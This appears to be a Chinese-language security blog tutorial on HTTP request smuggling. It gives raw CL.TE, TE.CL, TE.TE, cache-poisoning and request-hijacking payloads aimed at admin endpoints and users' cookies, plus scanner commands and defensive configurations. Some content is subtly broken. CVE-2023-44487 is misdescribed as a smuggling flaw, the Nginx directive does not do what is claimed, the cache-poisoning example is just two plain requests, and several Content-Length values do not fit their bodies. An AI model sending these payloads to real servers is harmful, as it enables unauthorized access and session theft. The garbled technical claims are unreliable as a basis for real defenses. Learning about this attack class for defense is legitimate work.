HTTP请求走私漏洞深度解析:边界混淆的协议级攻击

HTTP请求走私漏洞深度解析:边界混淆的协议级攻击

1. HTTP请求走私核心原理

HTTP请求走私(HTTP Request Smuggling) 是一种利用前端服务器(如CDN)和后端服务器对HTTP请求解析差异的攻击技术,可实现:

  • 缓存投毒(Cache Poisoning)

  • 权限绕过(如管理接口未授权访问)

  • 窃取用户请求(如Cookie劫持)

漏洞成因
⚡ 分块编码(Transfer-Encoding) 与 内容长度(Content-Length) 解析冲突
⚡ 前后端服务器对RFC标准实现不一致

2. 攻击类型与利用场景

(1) CL.TE走私(前端看Content-Length,后端看Transfer-Encoding)
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

效果:后端服务器将GET /admin视为独立请求

(2) TE.CL走私(前端看Transfer-Encoding,后端看Content-Length)
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Length: 15

x=1
0

特点:利用非标准分块长度触发解析差异

(3) TE.TE走私(双Transfer-Encoding混淆)
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-Encoding: cow

5
hello
0

利用条件:前后端处理重复头部的策略不同


3. 高级利用技术

(1) 缓存投毒攻击
GET / HTTP/1.1
Host: victim.com

GET /evil.js HTTP/1.1
Host: victim.com

结果:CDN缓存evil.js到首页URL

(2) 反射型走私(劫持用户请求)
POST /search HTTP/1.1
Host: shop.com
Content-Length: 50
Transfer-Encoding: chunked

0

GET /profile HTTP/1.1
X-Ignore: X

危害:下个用户的GET /profile请求会被拼接到走私请求

(3) 分块编码绕过技巧
  • 非ASCII字符长度值字段包含\x80等字符

  • 空格干扰Transfer-Encoding : chunked(冒号前空格)

4. 自动化检测工具

工具 功能 示例命令
smuggler 多技术检测 python3 smuggler.py -u https://target.com
Burp Suite 手动测试模块 使用Repeater修改请求头
h2smuggler HTTP/2走私检测 python3 h2smuggler.py --test https://target.com

5. 防御方案

(1) 标准化配置
  • 禁用冗余头部:拒绝包含多个Content-LengthTransfer-Encoding的请求

  • 强制HTTP/1.1规范化:统一处理请求边界

(2) 中间件防护(Nginx示例)
server {
    # 显式设置最大头部数量
    large_client_header_buffers 4 8k;
    # 拒绝非标准分块
    chunked_transfer_encoding off;
}

(3) 应用层校验

# Django中间件示例
class AntiSmugglingMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        if 'transfer-encoding' in request.headers and 'content-length' in request.headers:
            raise SuspiciousOperation("Potential HTTP smuggling attack")
        return self.get_response(request)
(4) 云服务方案
  • AWS ALB规则

  • {
      "Condition": {
        "Not": {
          "Field": "headers.transfer-encoding",
          "Exists": true
        }
      }
    }
  • Cloudflare自定义规则:拦截非常规分块请求

6. 历史重大漏洞

案例 影响范围 利用方式
CVE-2023-44487 HTTP/2快速重置 利用RST_STREAM帧走私
AWS CL.TE漏洞 部分ELB配置 缓存投毒攻击
Akamai绕过 边缘节点 TE.CL混淆

7. 企业级防护策略

  1. 流量监控指标

    • 异常Content-Length与实际体长度不匹配

    • 非标准分块编码请求

  2. WAF规则

^(Transfer-Encoding|Content-Length).*[\r\n].*\1

渗透测试要点

  • 测试GET /admin走私到内部接口

  • 验证缓存是否存储走私响应

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容